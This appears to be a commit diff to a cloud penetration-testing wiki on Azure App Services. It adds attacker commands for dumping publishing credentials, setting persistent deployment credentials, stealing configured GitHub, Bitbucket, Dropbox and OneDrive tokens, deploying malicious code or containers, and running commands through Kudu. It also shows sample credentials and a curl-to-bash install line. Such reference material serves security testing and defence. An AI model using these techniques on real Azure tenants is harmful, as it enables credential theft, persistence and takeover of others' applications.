app services

This commit is contained in:
Carlos Polop
2025-01-03 20:16:15 +01:00
parent 3d1f96fd4a
commit d9247bf598
3 changed files with 292 additions and 129 deletions

View File

@@ -6,25 +6,25 @@
> [!TIP]
> In linux you will need to install PowerShell Core:
>
> ```bash
> sudo apt-get update
> sudo apt-get install -y wget apt-transport-https software-properties-common
>
> # Ubuntu 20.04
> wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb
>
> # Update repos
> sudo apt-get update
> sudo add-apt-repository universe
>
> # Install & start powershell
> sudo apt-get install -y powershell
> pwsh
>
> # Az cli
> curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
> ```
```bash
sudo apt-get update
sudo apt-get install -y wget apt-transport-https software-properties-common
# Ubuntu 20.04
wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb
# Update repos
sudo apt-get update
sudo add-apt-repository universe
# Install & start powershell
sudo apt-get install -y powershell
pwsh
# Az cli
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
```
## Install PowerShell in MacOS

View File

@@ -12,7 +12,7 @@ For more information about Azure App services check:
### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read
These permissions allows get a **SSH shell** inside a web app. They also allow to **debug** the application.
These permissions allow to get a **SSH shell** inside a web app. They also allow to **debug** the application.
- **SSH in single command**:
@@ -43,6 +43,138 @@ ssh root@127.0.0.1 -p 39895
4. Select the App service you want to debug, right click and select "Start Debugging".
5. If the app doesn0t have debugging enabled, the extnsion will try to enable it but your account needs the permission `Microsoft.Web/sites/config/write` to do so.
### Obtaining SCM Credentials & Enabling Basic Authentication
To obtain the SCM credentials, you can use the following **commands and permissions**:
- The permission **`Microsoft.Web/sites/publishxml/action`** allows to call:
```bash
az webapp deployment list-publishing-profiles --name <app-name> --resource-group <res-group>
# Example output
[
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy",
"publishMethod": "MSDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"ftpPassiveMode": "True",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP",
"publishMethod": "FTP",
"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot",
"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy",
"publishMethod": "ZipDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
}
]
```
Note how the **username is always the same** (except in FTP which ads the name of the app at the beginning) but the **password is the same** for all of them.
Moreover, the **SCM URL is `<app-name>.scm.azurewebsites.net`**.
- The permission **`Microsoft.Web/sites/config/list/action`** allows to call:
```bash
az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
# Example output
{
"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"kind": null,
"location": "Canada Central",
"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"publishingPasswordHash": null,
"publishingPasswordHashSalt": null,
"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"resourceGroup": "carlos_rg_3170",
"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net",
"type": "Microsoft.Web/sites/publishingcredentials"
}
```
Note how the **credentials are the same** as in the previous command.
- Another option would be to **set you own creds** and use them:
```bash
az webapp deployment user set \
--user-name hacktricks \
--password 'W34kP@ssw0rd123!'
```
Then, you can use this credentials to **access the SCM and FTP platforms**. This is also a great way to maintain persistence.
Remember that to access the SCM platform from the **web you need to access to `<SCM-URL>/BasicAuth`**.
> [!WARNING]
> Note that every user can configure it's own credentials calling the previous command, but if the user doesn't have enough permissions to access the SCM or FTP, the credentials won't work.
- If you see that those credentials are **REDACTED**, it's because you **need to enable the SCM basic authentication option** and for that you need the second permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
```bash
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
```
### Publish code using SCM credentials
Just having valid SCM credentials it's possible to **publish code** to the App service. This can be done using the following command.
For this python example you can download the repo from https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, do any **changes** you wish and then **zip it running: `zip -r app.zip .`**.
Then you can **publish the code** with the following command:
```bash
curl -X POST "<SMC-URL>/api/publish?type=zip" --data-binary "@./app.zip" -u '<username>:<password>' -H "Content-Type: application/octet-stream"
```
### Microsoft.Web/sites/publish/Action | SCM credentials
@@ -56,10 +188,23 @@ az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/"
# Using SCM username and password:
curl "<SCM-URL>/vfs/data/jobs/continuous/lala/job_log.txt" \
curl "<SCM-URL>/vfs/data/jobs/continuous/job_name/job_log.txt" \
--user '<username>:<password>>' -v
```
- Read **Webjobs** source code:
```bash
# Using SCM username and password:
# Find all the webjobs inside:
curl "<SCM-URL>/wwwroot/App_Data/jobs/" \
--user '<username>:<password>'
# e.g.
curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \
--user '<username>:<password>'
```
- Create **continuous Webjob**:
```bash
@@ -88,6 +233,7 @@ az webapp config connection-string list --name <name> --resource-group <res-grou
az webapp config appsettings list --name <name> --resource-group <res-group>
```
### Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
These permissions allow to **assign a managed identity** to the App service, so if an App service was previously compromised this will allow the attacker to assign new managed identities to the App service and **escalate privileges** to them.
@@ -96,117 +242,71 @@ These permissions allow to **assign a managed identity** to the App service, so
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>
```
### Read Configured Third Party Credentials
### Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)
This permissions allows to list all the publishing profiles which basically contains **basic auth credentials**:
Running the following command it's possible to **read the third party credentials** configured in the current account. Note that if for example some Github credentials are configured in a different user, you won't be able to access the token from a different one.
```bash
# Get creds
az functionapp deployment list-publishing-profiles \
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
```
This command returns tokens for Github, Bitbucket, Dropbox and OneDrive.
Here you have some command examples to check the tokens:
```bash
# GitHub List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
```
### Update App Code from the source
- If the configured source is a third-party provider like Github, BitBucket or an Azure Repository, you can **update the code** of the App service by compromising the source code in the repository.
- If the app is configured using a **remote git repository** (with username and password), it's possible to get the **URL and basic auth credentials** to clone and push changes with:
- Using the permission **`Microsoft.Web/sites/sourcecontrols/read`**: `az webapp deployment source show --name <app-name> --resource-group <res-group>`
- Using the permission **`Microsoft.Web/sites/config/list/action`**:
- `az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>`
- `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
- If the app is configured to use a **local git repository**, it's possible to **clone the repository** and **push changes** to it:
- Using the permission **`Microsoft.Web/sites/sourcecontrols/read`**: You can get the URL of the git repo with `az webapp deployment source show --name <app-name> --resource-group <res-group>`, but it's going to be the same as the the SCM URL of the app with the path `/<app-name>.git` (e.g. `https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git`).
- To get the SCM credential tou need the permission:
- **`Microsoft.Web/sites/publishxml/action`**: Then run `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>`.
- **`Microsoft.Web/sites/config/list/action`**: Then run `az webapp deployment list-publishing-credentials --name <name> --resource-group <res-group>`
> [!WARNING]
> Note that having the permission `Microsoft.Web/sites/config/list/action` and the SCM credentials it's always possible to deploy into a webapp (even if it was configured to use a third-party provider) as mentioned in a previous section.
> [!WARNING]
> Note that having the permissions below it's also **possible to execute an arbitrary container** even if the webapp was configured differently.
### `Microsoft.Web/sites/config/Write`, `Microsoft.Web/sites/config/Read`, `Microsoft.Web/sites/config/list/Action`, `Microsoft.Web/sites/Read`
This is the set of permissions that allows to **modify the container used** by a webapp. An attacker could abuse it to make a webapp execute a maclious container.
```bash
az webapp config container set \
--name <app-name> \
--resource-group <res-name> \
--output json
```
Another option would be to set you own creds and use them using:
```bash
az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
```
- If **REDACTED** credentials
If you see that those credentials are **REDACTED**, it's because you **need to enable the SCM basic authentication option** and for that you need the second permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
```bash
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
```
- **Method SCM**
Then, you can access with these **basic auth credentials to the SCM URL** of your function app and get the values of the env variables:
```bash
# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v
# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
```
_Note that the **SCM username** is usually the char "$" followed by the name of the app, so: `$<app-name>`._
You can also access the web page from `https://<app-name>.scm.azurewebsites.net/BasicAuth`
The settings values contains the **AccountKey** of the storage account storing the data of the function app, allowing to control that storage account.
- **Method FTP**
Connect to the FTP server using:
```bash
# macOS install lftp
brew install lftp
# Connect using lftp
lftp -u '<username>','<password>' \
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/
# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
```
_Note that the **FTP username** is usually in the format \<app-name>\\$\<app-name>._
### Microsoft.Web/sites/publish/Action
According to [**the docs**](https://github.com/projectkudu/kudu/wiki/REST-API#command), this permission allows to **execute commands inside the SCM server** which could be used to modify the source code of the application:
```bash
az rest --method POST \
--resource "https://management.azure.com/" \
--url "https://newfuncttest123.scm.azurewebsites.net/api/command" \
--body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug
```
### Microsoft.Web/sites/hostruntime/vfs/read
This permission allows to **read the source code** of the app through the VFS:
```bash
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
--resource-group <res-group> \
--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest
```

View File

@@ -22,6 +22,7 @@ Apps have some interesting configurations:
- **Debugging**: If enabled, a user with enough permissions can debug the app. However, this is disabled automatically every 48h.
- **Web App + Database**: The web console allows to create an App with a database. In this case it's possible to select the database to use (SQLAzure, PostgreSQL, MySQL, MongoDB) and it also allows you to create an Azure Cache for Redis.
- The URL containing the credentials for the database and Redis will be stored in the **appsettings**.
- **Container**: It's possible to deploy a container to the App Service by indicating the URL of the container and the credentials to access it.
## Basic Authentication
@@ -36,6 +37,29 @@ Kudu is a **deployment engine and management platform for Azure App Service and
Note that the Kudu versions used by App Services and by Function Apps are different, being the version of the Function apps much more limited.
Some interesting endpoints you can find in Kudu are:
- `/DebugConsole`: A console that allows you to execute commands in the environment where Kudu is running.
- Note that this environment **doesn't have access** to the metadata service to get tokens.
- `/webssh/host`: A web-based SSH client that allows you to connect inside the container where the app is running.
- This environment **has access to the metadata service** in order to obtain tokens from the assigned managed identities.
- `/Env`: Get information about the system, app settings, env variables, connection strings and HTTP headers.
- `/wwwroot/`: The root directory of the web app. You can dowload all the files from here.
## Sources
App Services allow to upload the code as a zip file by default, but it also allows to connect to a third party servie and get the code from there.
- The currently supported third party sources are **Github** and **Bitbucket**.
- You can get the authentication tokens running `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"`
- Azure by default will setuup a **Github Action** to deploy the code to the App Service every time the code is updated.
- It's also possible to indicate a **remote git repository** (with username and password) to get the code from there.
- You can get the credentials to the remote repo running `az webapp deployment source show --name <app-name> --resource-group <res-group>` or `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
- It's also possible to use an **Azure Repository**.
- It's also possible to configure a **local git repository**.
- You can get the URL of the git repo with `az webapp deployment source show --name <app-name> --resource-group <res-group>` and it's going to be the SCM URL of the app.
- To clone it you will need the SCM credentials that you can get with `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>`
## Webjobs
Azure WebJobs are **background tasks that run in the Azure App Service environment**. They allow developers to execute scripts or programs alongside their web applications, making it easier to handle asynchronous or time-intensive operations such as file processing, data handling, or scheduled tasks.
@@ -121,7 +145,10 @@ az webapp traffic-routing show --name <AppName> --resource-group <ResourceGroupN
az webapp config container show --name <name> --resource-group <res-group>
# Get storage account configurations of a webapp
az webapp config storage-account list --name <name> --resource-gl_group
az webapp config storage-account list --name <name> --resource-group <res-group>
# Get configured container (if any) in the webapp, it could contain credentials
az webapp config container show --name <name> --resource-group <res-group>
# Get Webjobs
az webapp webjob continuous list --resource-group <res-group> --name <app-name>
@@ -213,6 +240,42 @@ git clone 'https://<username>:<password>@name.scm.azurewebsites.net/repo-name.gi
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
## Examples to generate Web Apps
### Python from local
This tutorial is based on the one from [https://learn.microsoft.com/en-us/azure/app-service/quickstart-python](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python?tabs=flask%2Cwindows%2Cazure-cli%2Cazure-cli-deploy%2Cdeploy-instructions-azportal%2Cterminal-bash%2Cdeploy-instructions-zip-azcli).
```bash
# Clone repository
git clone https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart
cd msdocs-python-flask-webapp-quickstart
# Create webapp from this code
az webapp up --runtime PYTHON:3.9 --sku B1 --logs
```
Logging into the SCM portal or logging via FTP it's possible to see in `/wwwroot` the compressed file `output.tar.gz` that contains the code of the webapp.
> [!TIP]
> Just connecting via FTP and modifying the file `output.tar.gz` isn't enough to change the code executed by the webapp.
**An attacker could download this file, modify it, and upload it again to execute arbitrary code in the webapp.**
### Python from Github
This tutorial is based on the previous one but using a Github repository.
1. Fork the repo msdocs-python-flask-webapp-quickstart in your Github account.
2. Create a new python Web App in Azure
3. In `Deployment Center` change the source, login with Github, select the forked repo and click `Save`.
Like in the previous case, logging into the SCM portal or logging via FTP it's possible to see in `/wwwroot` the compressed file `output.tar.gz` that contains the code of the webapp.
> [!TIP]
> Just connecting via FTP and modifying the file `output.tar.gz` and retriggering a deployment isn't enough to change the code executed by the webapp.
## References
- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)